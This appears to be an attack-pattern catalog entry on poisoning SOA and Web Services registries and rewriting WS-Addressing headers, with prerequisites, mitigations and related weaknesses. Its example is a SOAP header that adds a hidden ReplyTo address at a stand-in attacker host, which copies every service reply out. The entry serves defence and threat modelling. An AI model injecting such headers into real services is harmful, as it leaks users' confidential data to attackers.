| Attack Pattern ID | Pattern Abstraction: Standard 51 |
| Typical Severity | Very High |
| Description | Summary
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata (to effect a denial of service), and delete information about service provider interfaces.
WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. The attacker that can rewrite WS-addressing information gains the ability to route service requesters to any service providers, and the ability to route service provider response to any service.
Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol. The basic flow for the attacker consists of either altering the data at rest in the registry or uploading malicious content by spoofing a service provider. The service requester is then redirected to send its requests and/or responses to services the attacker controls.
|
| Attack Prerequisites |
The attacker must be able to write to resources or redirect access to the service registry.
|
| Typical Likelihood of Exploit |
High
|
| Methods of Attack | - Modification of Resources
- Injection
- Protocol Manipulation
|
| Examples-Instances | Description
WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information in tact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime.
<S:Header>
<wsa:MessageID>
http://example.com/Message
</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>http://valid.example/validClient</wsa:Address>
</wsa:ReplyTo>
<wsa:ReplyTo>
<wsa:Address>http://evilsite/evilClient</wsa:Address>
</wsa:ReplyTo>
<wsa:FaultTo>
<wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address>
</wsa:FaultTo>
</S:Header>
In this example evilsite is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with REpolyTo header it will not generate a Soap fault.
|
| Attacker Skill or Knowledge Required |
Low → to identify and execute against an overprivileged system interface
|
| Resources Required |
Capability to directly or indirectly modify registry resources
|
| Solutions and Mitigations |
Design: Enforce principle of least privilege
Design: Harden registry server and file access permissions
Implementation: Implement communications to and from the registry using secure protocols
|
| Attack Motivation-Consequences | - Run Arbitrary Code
- Information Leakage
- Data Modification
|
| Context Description |
|
| Injection Vector |
Payload delivered through standard communication protocols, such as UDDI or WS-Addressing.
|
| Payload |
Command(s) executed directly on service requester, in the case of redirect, or on the service provider, in the case of the additional replto attack.
|
| Activation Zone |
Client machine and client network
|
| Payload Activation Impact |
Enables attacker to execute server side code with any commands that the program owner has privileges to.
|
| Related Weaknesses | | CWE-ID | Weakness Name | Weakness Relationship Type |
|---|
| 285 | Missing or Inconsistent Access Control | Targeted | | 74 | Failure to Sanitize Data into a Different Plane (aka 'Injection') | Targeted |
|
| Purpose | Exploitation |
| CIA Impact | | Confidentiality Impact | Integrity Impact | Availability Impact |
|---|
| High | High | High |
|
| Technical Context | | Architectural Paradigm | Framework | Platform | Language |
|---|
| SOA | All | All | All |
|
| Source | | Submission(s) |
|---|
| Submitter | Organization | Date | Comment |
|---|
| Gunnar Peterson | | 2007-02-28 | |
| Modification(s) |
|---|
| Modifier | Organization | Date | Comment |
|---|
| Sean Barnum | Cigital, Inc | 2007-03-07 | Review and revise | | Richard Struse | VOXEM, Inc | 2007-03-26 | Review and feedback leading to changes in Name | | Sean Barnum | Cigital, Inc | 2007-04-13 | Modified pattern content according to review and feedback |
|
